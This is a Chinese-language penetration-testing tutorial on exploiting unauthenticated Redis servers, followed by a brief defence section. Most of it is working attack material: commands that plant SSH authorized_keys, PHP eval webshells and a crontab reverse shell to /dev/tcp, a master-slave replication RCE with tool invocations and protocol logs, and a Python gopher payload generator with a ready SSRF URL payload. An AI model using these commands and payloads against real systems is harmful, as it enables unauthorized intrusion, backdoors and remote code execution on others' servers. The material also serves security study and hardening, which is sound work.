1、漏洞原理:
1、redis 绑定在6379端口,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网。
2、没有设置密码认证(默认密码为空),可以免密码远程登录redis服务。
2、漏洞危害:
利用 Redis 自身提供的 config 命令像目标主机 写WebShell、写SSH公钥、创建计划任务反弹Shell等。
3、利用思路:
先将Redis的本地数据库存放目录设置为 web目录、~/.ssh目录或/var/spool/cron目录等,
然后将dbfilename(本地数据库文件名)设置为文件名 是你想要写入的文件名称,
最后再执行save或bgsave保存,则指定的文件写入指定的目录里了。
4、漏洞复现:
./redis-cli -h 127.0.0.1 -p 6379
查看信息:info
删除所有数据库内容:flushall
刷新数据库:flushdb
查看所有键:KEYS *,使用select num可以查看键值数据
设置变量:set test "whoami"
设置路径等配置:config set dir [dirpath]
获取路径及数据配置信息:config get dir/dbfilename
获取所有配置信息:config get *
保存:save
查看变量名称:get [变量]
5、漏洞利用的几种getshell方式
5.1 写SSH公钥,使用私钥登陆
前提条件:目标机器开启了ssh服务,且以root权限启动redis
5.1.1 本地生成ssh公钥和私钥
ssh-keygen -t rsa #会创建id_rsa私钥和id_rsa.pub公钥
5.1.2 将公钥文件内容写入一个txt
(echo "\n\n";cat id_rsa.pub)>test.txt #使用\n避免和其他redis缓存数据混合
5.1.3 将公钥发送到对方redis服务器的缓存中
cat test.txt |redis-cli -h 127.0.0.1 -p 6379 -x set hello // -x 代表从标准输入读取数据作为该命令的最后一个参数
5.1.4 利用redis-cli写配置的方式将公钥写入ssh目录
config set dir /root/.ssh # 设置redis的备份路径为/root/.ssh/
config set dbfilename authorized_keys # 设置保存文件名为authorized_keys
save # 将数据保存在目标服务器硬盘上
5.1.5 利用私钥远程登录redis的22端口
ssh 192.168... #或者
ssh -i /root/.ssh/id_rsa root@xx.xx.xx.xx
5.2 直接写入webshell
前提条件:需要对方开启了web服务和知道web路径,并有读写权限。
5.2.1 redis命令写入webshell
set x "\n\n\n<?php @eval($\_POST['a']);?>\n\n\n" #加入\n\n\n防止乱码影响shell
config set dir /var/www/
config set dbfilename shell.php
save
5.2.2 直接访问web下的shell.php进行连接
5.3 计划(定时)任务写入反弹shell
5.3.1 在redis中写入定时任务
set x "\n* * * * * bash -i >& /dev/tcp/xx.xx.xx.xx/6666 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
5.3.2 在攻击机上监听6666端口等待反弹shell
nc -lvp 6666
这个方法只能Centos上使用,Ubuntu上行不通,原因如下:
因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件/var/spool/cron/crontabs/<username>
权限必须是600也就是-rw-------才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected),而Centos的定时任务文件/var/spool/cron/<username>
权限644也能执行
因为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错。
由于系统的不同,crontrab定时文件位置也会不同:
Centos的定时任务文件在/var/spool/cron/<username>
Ubuntu定时任务文件在/var/spool/cron/crontabs/<username>
5.4 主从复制RCE
适用版本redis 4.x/5.x,目前大多数redis存在于docker中,因此并不会存在redis之外的如ssh、crontab等服务,因此不能用上述方式进行利用。这时候需要用到主从复制。
主从模式是指使用一个redis实例作为主机,其他实例都作为备份机(从机),其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。
第一种方式:利用redis-rogue-server脚本
利用脚本:https://github.com/LoRexxar/redis-rogue-server、GitHub - n0b0dyCN/redis-rogue-server: Redis(<=5.0.5) RCE
该工具的原理就是首先创建一个恶意的Redis服务器作为Redis主机(master),该Redis主机能够回应其他连接他的Redis从机的响应。有了恶意的Redis主机之后,就会远程连接目标Redis服务器,通过slaveof
命令将目标Redis服务器设置为我们恶意Redis的Redis从机(slaver)。然后将恶意Redis主机上的exp同步到Reids从机上,并将dbfilename设置为exp.so。最后再控制Redis从机(slaver)加载模块执行系统命令即可。
但是该工具只能在目标存在Redis未授权访问漏洞时使用。如果目标Redis存在密码是不能使用该工具的。
5.4.1 首先使用恶意服务器充当主机,使用FULLRESYNC功能将so文件送给从机
python3 redis-rogue-server_5.py --rhost 172.17.0.3 --rport 6379 --lhost 172.17.0.1 --lport 6381
TARGET 172.17.0.3:6379
SERVER 172.17.0.1:6381
[<-] b'*3\r\n$7\r\nSLAVEOF\r\n$10\r\n172.17.0.1\r\n$4\r\n6381\r\n'
[->] b'+OK\r\n'
[<-] b'*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$6\r\nexp.so\r\n'
[->] b'+OK\r\n'
[->] b'*1\r\n$4\r\nPING\r\n'
[<-] b'+PONG\r\n'
[->] b'*3\r\n$8\r\nREPLCONF\r\n$14\r\nlistening-port\r\n$4\r\n6379\r\n'
[<-] b'+OK\r\n'
[->] b'*5\r\n$8\r\nREPLCONF\r\n$4\r\ncapa\r\n$3\r\neof\r\n$4\r\ncapa\r\n$6\r\npsync2\r\n'
[<-] b'+OK\r\n'
[->] b'*3\r\n$5\r\nPSYNC\r\n$40\r\n17772cb6827fd13b0cbcbb0332a2310f6e23207d\r\n$1\r\n1\r\n'
[<-] b'+FULLRESYNC ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ 1\r\n$42688\r\n\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00'......b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xea\x9f\x00\x00\x00\x00\x00\x00\xd3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\r\n'
[<-] b'*3\r\n$6\r\nMODULE\r\n$4\r\nLOAD\r\n$8\r\n./exp.so\r\n'
[->] b'+OK\r\n'
[<-] b'*3\r\n$7\r\nSLAVEOF\r\n$2\r\nNO\r\n$3\r\nONE\r\n'
[->] b'+OK\r\n'
5.4.2 登录从机(也就是未授权主机)直接执行系统命令
ubuntu@VM-1-7-ubuntu:~/lorexxar/redis-rogue-server$ redis-cli -h 172.17.0.3
172.17.0.3:6379> system.exec "id"
"\x89uid=999(redis) gid=999(redis) groups=999(redis)\n"
172.17.0.3:6379> system.exec "whoami"
"\bredis\n"
第二种方式:利用 redis-rce 工具
GitHub - Ridter/redis-rce: Redis 4.x/5.x RCE
该工具有一个-a
选项,可以用来进行Redis认证。
但是这个工具里少一个exp.so的文件,我们还需要去上面那个到 redis-rogue-server工具中找到exp.so文件并复制到redis-rce.py同一目录下,然后执行如下命令即可:
#python3 redis-rce.py -r rhost -lhost lhost -f exp.so -a password
python3 redis-rce.py -r 192.168.43.82 -L 192.168.43.247 -f exp.so -a 657260
执行后,同样可以选择获得一个交互式的shell(interactive shell)或者是反弹shell(reserve shell):
交互式的shell:
反弹shell:
5.5 Redis 未授权访问漏洞在 SSRF 中的利用
5.5.1 绝对路径写WebShell
5.5.1.1 构造redis的命令
flushall
set x '<?php eval($_POST["whoami"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save
5.5.1.2 写一个脚本,将其转化为Gopher协议的格式
import urllib
protocol="gopher://"
ip="192.168.43.82"
port="6379"
shell="\n\n<?php eval($_POST[\"whoami\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd="" # 此处也可以填入Redis的密码, 在不存在Redis未授权的情况下适用
cmd=["flushall",
"set x {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
5.5.1.3 将生成的payload要进行url二次编码(因为我们发送payload用的是GET方法),然后利用Ubuntu服务器上的SSRF漏洞,将二次编码后的payload打过去就行了:
ssrf.php?url=gopher%3A%2F%2F192.168.43.82%3A6379%2F_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252435%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B%2522whoami%2522%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A
5.5.2 写ssh公钥、创建计划任务反弹shell 都需要利用脚本,将redis命令转成gopher协议的格式。
6、防御
1.关闭6379端口。关闭对外端口防止攻击者利用
2.设置密码登录。不允许未授权空密码的方式直接登录redis,从而更改敏感文件信息。
3.以低权限运行redis服务。
4.禁用高危命令。修改 redis.conf 文件,添加如下内容来禁用远程修改 DB 文件地址
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""